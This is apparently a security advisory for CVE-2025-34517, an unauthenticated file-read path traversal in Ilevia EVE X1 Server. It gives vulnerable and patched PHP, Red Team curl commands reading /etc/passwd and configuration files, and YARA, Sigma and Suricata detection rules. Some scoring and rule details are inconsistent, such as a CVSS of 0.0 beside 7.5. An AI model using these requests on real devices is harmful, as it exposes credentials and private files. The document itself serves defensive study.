CVE-2025-34517

Executive Summary

CVE-2025-34517 is a critical absolute path traversal vulnerability in Ilevia EVE X1 Server firmware versions ≤ 4.7.18.0.eden. The flaw resides in the get_file_content.php endpoint, allowing an unauthenticated attacker to read arbitrary files from the server’s filesystem. The vendor has declined to patch this vulnerability, recommending only that port 8080 not be exposed to the internet. This advisory provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD; calculated as 7.5 High based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: None
• Availability: None
• Threat Level: High – Unauthenticated remote file read can expose sensitive configuration, credentials, and data.

Deep Dive & Mechanics

The vulnerability exists in the get_file_content.php script, which is used to retrieve file contents for legitimate administrative functions. The script fails to sanitize user-supplied input, allowing path traversal sequences (e.g., ../../etc/passwd) to escape the intended web root directory. Because the traversal is absolute (e.g., /etc/passwd), an attacker can read any file on the system that the web server process has access to.

Root Cause: The get_file_content.php endpoint directly concatenates user input into a file path without validation or normalization. No whitelist of allowed directories or files is enforced.

Impact: An attacker can read sensitive files such as:

• /etc/passwd (user enumeration)
• /etc/shadow (password hashes, if readable)
• Configuration files containing database credentials or API keys
• Application source code (for further vulnerability discovery)
• SSL private keys (if stored in web-accessible locations)

Vulnerable vs. Patched Code

Vulnerable Code (get_file_content.php):

<?php
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;
?>

Patched Code (Recommended):

<?php
$allowed_dir = '/var/www/html/';
$file = realpath($allowed_dir . basename($_GET['file']));
if (strpos($file, $allowed_dir) === 0 && file_exists($file)) {
    $content = file_get_contents($file);
    echo $content;
} else {
    http_response_code(403);
    echo 'Access denied.';
}
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Ilevia EVE X1 Server firmware version 4.7.18.0.eden in a virtualized environment.
2. Ensure port 8080 is accessible from the attacker machine.
3. Use a tool like curl or a web browser to exploit.

Exploitation Steps:

1. Basic Path Traversal:

   curl "http://target:8080/get_file_content.php?file=/etc/passwd"
   

2. Reading Configuration Files:

   curl "http://target:8080/get_file_content.php?file=/var/www/html/config.php"
   

3. Automated Scanning with Nuclei (if template available):

   nuclei -u http://target:8080 -t cves/2025/CVE-2025-34517.yaml
   

Expected Output: The contents of the requested file are returned in the HTTP response body.

Blue Team

Detection Steps:

1. Monitor web server logs for requests containing get_file_content.php?file= with path traversal patterns (e.g., ../, %2e%2e/, absolute paths like /etc/).
2. Alert on any successful retrieval of sensitive files (e.g., /etc/passwd, /etc/shadow).
3. Use the detection rules provided below to identify exploitation attempts.

Mitigation Steps:

1. Immediately restrict access to port 8080 to trusted IPs only using a firewall or reverse proxy.
2. If possible, disable or remove the get_file_content.php script.
3. Implement input validation and path sanitization as shown in the patched code example.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /get_file_content.php?file= with path traversal sequences.
  • Outbound connections from the server to unknown IPs (if attacker exfiltrates data).
• File System IOCs:
  • Unusual file read attempts logged in web server access logs.
  • Presence of files like /tmp/exploit.sh or /tmp/out.txt (if attacker writes files).
• Log IOCs:
  • Web server logs showing 200 responses for requests to /etc/passwd or similar sensitive files.

Detection Engineering

YARA Rule

rule CVE_2025_34517_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting get_file_content.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34517"
    strings:
        $traversal1 = "get_file_content.php?file="
        $traversal2 = "../"
        $traversal3 = "%2e%2e/"
        $traversal4 = "/etc/"
        $traversal5 = "/var/"
    condition:
        any of ($traversal*) and #traversal1 > 0
}

Sigma Rule

title: CVE-2025-34517 Path Traversal in get_file_content.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against Ilevia EVE X1 Server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'get_file_content.php?file='
        cs-uri-query|contains|any:
            - '../'
            - '%2e%2e/'
            - '/etc/'
            - '/var/'
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert http any any -> any 8080 (msg:"CVE-2025-34517 Path Traversal in get_file_content.php"; flow:to_server,established; content:"GET"; http_method; content:"get_file_content.php?file="; http_uri; content:"../"; distance:0; http_uri; content:"/etc/"; distance:0; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Block inbound access to port 8080 from the internet. Use a firewall or reverse proxy to restrict access to trusted IPs only.
2. Disable Endpoint: If possible, remove or disable the get_file_content.php script entirely.
3. Input Validation: Implement strict input validation and path sanitization as shown in the patched code example.

Long-Term Actions:

1. Firmware Update: Monitor Ilevia for any future firmware updates that address this vulnerability. If none are released, consider replacing the device.
2. Web Application Firewall (WAF): Deploy a WAF with rules to block path traversal attempts.
3. Regular Audits: Conduct regular security audits and penetration testing on exposed services.

Vendor Response: Ilevia has declined to patch this vulnerability. Customers are advised to follow the mitigation steps above.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.